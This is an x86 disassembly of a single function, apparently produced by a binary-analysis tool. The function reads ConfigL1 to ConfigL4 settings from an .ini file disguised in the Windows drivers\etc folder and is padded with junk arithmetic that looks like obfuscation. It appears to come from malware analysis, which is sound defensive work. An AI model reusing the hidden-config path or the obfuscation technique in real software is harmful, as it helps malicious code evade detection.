Function at 0x410990
Capabilities:
Read .ini file

Disassembly:
mov eax, 0x3648
call fcn.00431bb0
mov eax, dword [0x460640]
xor eax, esp
mov dword [esp + 0x3644], eax
mov ecx, dword [0x45ebcc]
mov eax, 0x1671bc81
imul ecx
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
push ebx
mov ebx, eax
push ebp
push esi
mov esi, dword [0x45ebd4]
push edi
mov edi, dword [0x45ebd8]
mov eax, 0x1671bc81
imul edi
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ebdc]
imul edx, edx, 0x564c079b
sub ebx, ecx
add ebx, edx
mov eax, 0x1a129787
imul esi
sar edx, 0x1a
mov ecx, edx
add ebx, edx
shr ecx, 0x1f
add ecx, ebx
mov ebx, dword [0x45ebe0]
mov eax, ebx
imul eax, eax, 0xe74a505
add ecx, eax
mov eax, 0x4eb7d3f9
imul esi
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebd0]
sub ecx, eax
mov esi, dword [0x45ebe8]
mov eax, 0x3dbc891d
imul edx
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebp, eax
mov eax, 0xe98e437f
imul esi
imul esi, esi, 0x34652235
sar edx, 0x1a
mov dword [str._r_____r____], ecx
imul ecx, ecx, 0x2d9fc474
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebp
add eax, ecx
mov ecx, dword [0x45ebe4]
imul ecx, ecx, 0x21e6e566
add eax, ecx
add eax, esi
mov ebp, eax
mov eax, 0x81b5a619
imul edi
add edx, edi
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add ebp, edx
add eax, ebp
sub eax, ebx
sub eax, 0x7e501e9
mov dword [0x45ebd0], eax
mov eax, dword [esp + 0x365c]
test eax, eax
push str.C:_WINDoWS_system32driversetc_serViCe5.ini
push 0x2800
jne 0x410aca
lea ecx, [esp + 0xe5c]
push ecx
push 0x44ee89
push str.ConfigL4
jmp 0x410adc
lea edx, [esp + 0xe5c]
push edx
push 0x44ee89
push str.ConfigL4x
push str.GameType1
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ebp, dword [0x45ebd0]
mov edi, dword [0x45ebe4]
mov eax, 0x1671bc81
imul ebp
sar edx, 0x1a
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x1a129787
imul edi
sar edx, 0x1a
add esi, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, esi
mov esi, dword [0x45ebcc]
mov eax, 0x78d1ad69
imul esi
imul esi, esi, 0x68114d02
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebc8]
sub ecx, eax
imul edx, edx, 0x3580338c
mov eax, dword [str._r_____r____]
imul eax, eax, 0x7e501e9
add ecx, esi
add ecx, edx
add ecx, eax
lea eax, [esp + 0xe54]
mov dword [0x45ebdc], ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x410b63
sub eax, esi
mov dword [esp + 0x10], eax
jne 0x410b7a
or eax, 0xffffffff
jmp 0x4113da
mov edx, dword [0x45ebe0]
mov esi, edx
mov eax, 0x78d1ad69
imul esi, esi, 0x5c7bb4
imul edx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x46d65f19
imul ebp
sar edx, 0x1a
add esi, edx
mov ebx, edx
mov eax, 0x81b5a619
imul edi
add edx, edi
sar edx, 0x1a
shr ebx, 0x1f
add ebx, esi
mov esi, edx
add ebx, edx
mov eax, 0x4c8f4365
imul ecx
sar edx, 0x1c
shr esi, 0x1f
mov ecx, edx
add esi, ebx
add esi, edx
mov edx, dword [0x45ebd8]
imul edx, edx, 0x7e501e9
shr ecx, 0x1f
add ecx, esi
add ecx, edx
lea eax, [esp + 0xe54]
push eax
mov dword [0x45ebc8], ecx
lea ecx, [esp + 0x18]
push 0x190
push ecx
call fcn.00410230
mov edi, eax
add esp, 0xc
cmp edi, 4
jl 0x4113d5
mov edx, edi
and edx, reloc.WS2_32.dll_closesocket
jns 0x410c1e
dec edx
or edx, 0xfffffffc
inc edx
jne 0x4113d5
mov ecx, dword [0x45ebdc]
mov esi, dword [0x45ebe8]
mov eax, 0x1a129787
imul ecx
mov ebx, esi
imul ebx, ebx, 0x2746608a
sar edx, 0x1a
add ebx, edx
mov ebp, edx
mov eax, 0x1e3444b9
imul ecx
mov ecx, dword [0x45ebc8]
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0xe74a505
shr ebp, 0x1f
add ebp, ebx
mov ebx, dword [0x45ebe4]
sub ebp, eax
add edx, ebx
mov ebx, dword [str._r_____r____]
mov eax, ebx
imul eax, eax, 0x43cdcacc
add edx, ebp
lea ebp, [eax + edx - 0x7e501e9]
mov eax, edi
cdq
mov edi, 3
and edx, edi
add eax, edx
sar eax, 2
mov dword [0x5615d8], eax
mov eax, dword [0x572808]
test eax, eax
mov dword [0x45ebd4], ebp
jg 0x410e7f
mov edx, dword [0x45ebd0]
imul ecx, ecx, 0x34652235
lea ebx, [edx + ebp]
mov eax, 0x3dbc891d
imul ebx, ebx, 0x212c5ae6
imul edx
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x4eb7d3f9
imul esi
mov eax, dword [0x45ebd8]
sub ebx, ecx
imul eax, eax, 0x3580338c
sar edx, 0x1c
mov ebp, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, edx
add ebx, edx
mov edx, dword [0x45ebcc]
imul edx, edx, 0x7e501e9
shr ecx, 0x1f
add ecx, ebx
sub ecx, edx
push str.C:_WINDoWS_system32driversetc_serViCe5.ini
add ecx, eax
push 0x800
mov dword [0x45ebe0], ecx
lea ecx, [esp + 0x65c]
push ecx
push 0x44ee89
push str.ConfigL1
push str.GameType1
call ebp
lea edx, [esp + 0x654]
push edx
call fcn.00431b72
add esp, 4
cmp eax, edi
mov esi, 0x78
jge 0x410d5a
mov dword [0x572808], edi
jmp 0x410d8b
lea eax, [esp + 0x654]
push eax
call fcn.00431b72
add esp, 4
cmp eax, esi
jle 0x410d76
mov dword [0x572808], esi
jmp 0x410d8b
lea ecx, [esp + 0x654]
push ecx
call fcn.00431b72
add esp, 4
mov dword [0x572808], eax
mov ecx, dword [0x45ebd0]
mov edx, dword [0x45ebd4]
lea ebx, [ecx + edx]
mov eax, 0x3dbc891d
imul ebx, ebx, 0x212c5ae6
imul ecx
mov ecx, dword [0x45ebc8]
sar edx, 0x1b
imul ecx, ecx, 0x34652235
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, ecx
mov ecx, dword [0x45ebe8]
mov eax, 0x4eb7d3f9
imul ecx
mov ecx, dword [0x45ebcc]
sar edx, 0x1c
imul ecx, ecx, 0x7e501e9
mov eax, edx
add ebx, edx
mov edx, dword [0x45ebd8]
imul edx, edx, 0x3580338c
shr eax, 0x1f
add eax, ebx
sub eax, ecx
push str.C:_WINDoWS_system32driversetc_serViCe5.ini
add eax, edx
push 0x800
mov dword [0x45ebe0], eax
lea eax, [esp + 0x65c]
push eax
push 0x44ee89
push str.ConfigL2
push str.GameType1
call ebp
lea ecx, [esp + 0x654]
push ecx
call fcn.00431b72
add esp, 4
cmp eax, edi
jge 0x410e3a
mov dword [0x57280c], edi
jmp 0x410e6b
lea edx, [esp + 0x654]
push edx
call fcn.00431b72
add esp, 4
cmp eax, esi
jle 0x410e56
mov dword [0x57280c], esi
jmp 0x410e6b
lea eax, [esp + 0x654]
push eax
call fcn.00431b72
add esp, 4
mov dword [0x57280c], eax
mov ebx, dword [str._r_____r____]
mov esi, dword [0x45ebe8]
mov ecx, dword [0x45ebc8]
jmp 0x410e85
mov ebp, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, 0x3dbc891d
imul dword [0x45ebdc]
sar edx, 0x1b
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x1671bc81
imul ecx
sar edx, 0x1a
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x1671bc81
imul dword [0x45ebd8]
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x78d1ad69
imul dword [0x45ebd0]
sar edx, 0x1c
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edx, ebx
imul edx, edx, 0x34652235
add eax, edx
mov dword [esp + 0x10], eax
mov eax, 0x4eb7d3f9
imul dword [0x45ebe0]
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
sub edx, eax
mov dword [esp + 0x10], edx
mov eax, 0x81b5a619
imul dword [0x45ebd4]
add edx, dword [0x45ebd4]
mov eax, dword [esp + 0x10]
sar edx, 0x1a
mov edi, edx
add eax, edx
shr edi, 0x1f
add edi, eax
mov eax, dword [0x5615dc]
test eax, eax
mov dword [0x45ebcc], edi
jg 0x411123
mov eax, 0x1a129787
imul edi, edi, 0x21e710c2
imul ecx
imul ecx, ecx, 0x2746608a
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x1e3444b9
imul dword [0x45ebe0]
add ecx, edi
sar edx, 0x1a
add ecx, edx
mov edi, edx
mov eax, 0x46d65f19
imul esi
imul esi, esi, 0x7e501e9
sar edx, 0x1a
shr edi, 0x1f
add edi, ecx
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x9c59c36b
imul ebx
push str.C:_WINDoWS_system32driversetc_serViCe5.ini
add edx, ebx
push 0x800
sub edi, ecx
sar edx, 0x1d
lea ecx, [esp + 0x65c]
push ecx
mov eax, edx
shr eax, 0x1f
add edi, edx
push 0x44ee89
add eax, edi
push str.ConfigL3
sub eax, esi
push str.GameType1
mov dword [0x45ebd8], eax
call ebp
mov ecx, dword [str._r_____r____]
mov eax, 0x3dbc891d
imul ecx
mov ecx, dword [0x45ebe4]
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x1671bc81
imul ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ebd4]
imul edx, edx, 0x43ce2184
sub esi, ecx
mov ecx, dword [0x45ebcc]
add esi, edx
mov eax, 0x1a129787
imul ecx
mov ecx, dword [0x45ebd8]
sar edx, 0x1a
imul ecx, ecx, 0x2746608a
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x45ebd0]
mov eax, 0x4eb7d3f9
imul ecx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
lea ecx, [esp + 0x654]
push ecx
mov dword [0x45ebe4], esi
call fcn.00431b72
mov ecx, dword [0x5615d8]
add esp, 4
cmp eax, ecx
jge 0x411079
mov dword [0x5615dc], ecx
jmp 0x411117
lea edx, [esp + 0x654]
push edx
call fcn.00431b72
add esp, 4
cmp eax, 0x64
jle 0x411102
mov ecx, dword [0x45ebdc]
mov esi, dword [0x45ebe8]
mov eax, 0x1a129787
imul ecx
mov edi, esi
imul edi, edi, 0x2746608a
mov ebx, dword [str._r_____r____]
sar edx, 0x1a
add edi, edx
mov ebp, edx
mov eax, 0x1e3444b9
imul ecx
mov ecx, dword [0x45ebc8]
sar edx, 0x1a
imul ecx, ecx, 0xe74a505
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, dword [0x45ebe4]
mov edx, ebx
imul edx, edx, 0x43cdcacc
shr ebp, 0x1f
add ebp, edi
sub ebp, eax
add ecx, ebp
lea eax, [edx + ecx - 0x7e501e9]
mov dword [0x45ebd4], eax
mov dword [0x5615dc], 0x64
jmp 0x411123
lea ecx, [esp + 0x654]
push ecx
call fcn.00431b72
add esp, 4
mov dword [0x5615dc], eax
mov ebx, dword [str._r_____r____]
mov esi, dword [0x45ebe8]
mov eax, 0x3dbc891d
imul ebx, ebx, 0x2d9fc474
imul dword [0x45ebd0]
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0xe98e437f
imul esi
imul esi, esi, 0x34652235
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, dword [0x45ebe4]
sub edi, ecx
imul eax, eax, 0x21e6e566
mov ecx, dword [0x45ebd8]
mov ebp, dword [0x45ebe0]
add edi, ebx
add edi, eax
mov eax, 0x81b5a619
imul ecx
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add edi, esi
add edi, edx
add ecx, edi
sub ecx, ebp
sub ecx, 0x7e501e9
push 0
mov dword [0x45ebd0], ecx
call fcn.00431b77
sub eax, dword [0x572830]
add esp, 4
cmp eax, 0xa8c0
jl 0x411231
mov ecx, dword [0x45ebdc]
mov esi, dword [0x45ebe8]
mov eax, 0x1a129787
imul esi, esi, 0x2746608a
imul ecx
sar edx, 0x1a
mov ebx, dword [0x45ebe4]
mov edi, edx
add esi, edx
mov eax, 0x1e3444b9
imul ecx
mov ecx, dword [0x45ebc8]
sar edx, 0x1a
imul ecx, ecx, 0xe74a505
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x43cdcacc
shr edi, 0x1f
add edi, esi
sub edi, eax
add ecx, ebx
add ecx, edi
lea eax, [edx + ecx - 0x7e501e9]
push 0
mov dword [0x45ebd4], eax
call fcn.00431b77
add esp, 4
xor edi, edi
mov dword [0x572830], eax
mov dword [0x5615e0], edi
jmp 0x411237
mov edi, dword [0x5615e0]
mov ecx, dword [0x45ebc8]
mov eax, 0x1a129787
imul ecx
imul ecx, ecx, 0x2746608a
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebcc]
sub ecx, eax
imul edx, edx, 0x21e710c2
add ecx, edx
mov edx, dword [0x45ebe0]
mov eax, 0x1e3444b9
imul edx
sar edx, 0x1a
add ecx, edx
mov esi, dword [str._r_____r____]
mov ebx, edx
shr ebx, 0x1f
add ebx, ecx
mov ecx, dword [0x45ebe8]
mov eax, 0x46d65f19
imul ecx
imul ecx, ecx, 0x7e501e9
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9c59c36b
imul esi
add edx, esi
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, ecx
mov dword [0x45ebd8], eax
cmp edi, dword [0x5615dc]
jge 0x4113ce
cmp edi, dword [0x5615d8]
jge 0x4112f7
push 0
call fcn.00431b77
mov ecx, dword [0x572808]
mov esi, dword [0x5615e4]
imul ecx, ecx, 0x3c
sub eax, esi
add esp, 4
cmp eax, ecx
jge 0x411330
mov edi, dword [0x5615e0]
cmp edi, dword [0x5615dc]
jge 0x4113ce
cmp edi, dword [0x5615d8]
jl 0x4113ce
push 0
call fcn.00431b77
sub eax, dword [0x5615e4]
mov edx, dword [0x57280c]
imul edx, edx, 0x3c
add esp, 4
cmp eax, edx
jl 0x4113ce
mov ecx, dword [0x45ebd0]
mov eax, 0x1671bc81
imul ecx
mov ecx, dword [0x45ebe4]
sar edx, 0x1a
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x1a129787
imul ecx
mov ecx, dword [0x45ebcc]
sar edx, 0x1a
add esi, edx
mov edi, edx
mov eax, 0x78d1ad69
imul ecx
imul ecx, ecx, 0x68114d02
sar edx, 0x1c
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
add edi, esi
imul edx, edx, 0x7e501e9
sub edi, eax
mov eax, dword [0x5615e0]
add edi, ecx
mov ecx, dword [0x45ebc8]
imul ecx, ecx, 0x3580338c
add edi, ecx
add edi, edx
cdq
idiv dword [0x5615d8]
mov ecx, 0x5615e8
mov dword [0x45ebdc], edi
shl edx, 4
mov eax, dword [esp + edx + 0x14]
sub ecx, eax
lea ecx, [ecx]
mov dl, byte [eax]
mov byte [ecx + eax], dl
inc eax
test dl, dl
jne 0x4113c0
xor eax, eax
jmp 0x4113da
mov eax, 9
jmp 0x4113da
mov eax, 0xfffffffe
mov ecx, dword [esp + 0x3654]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0043136d
add esp, 0x3648
ret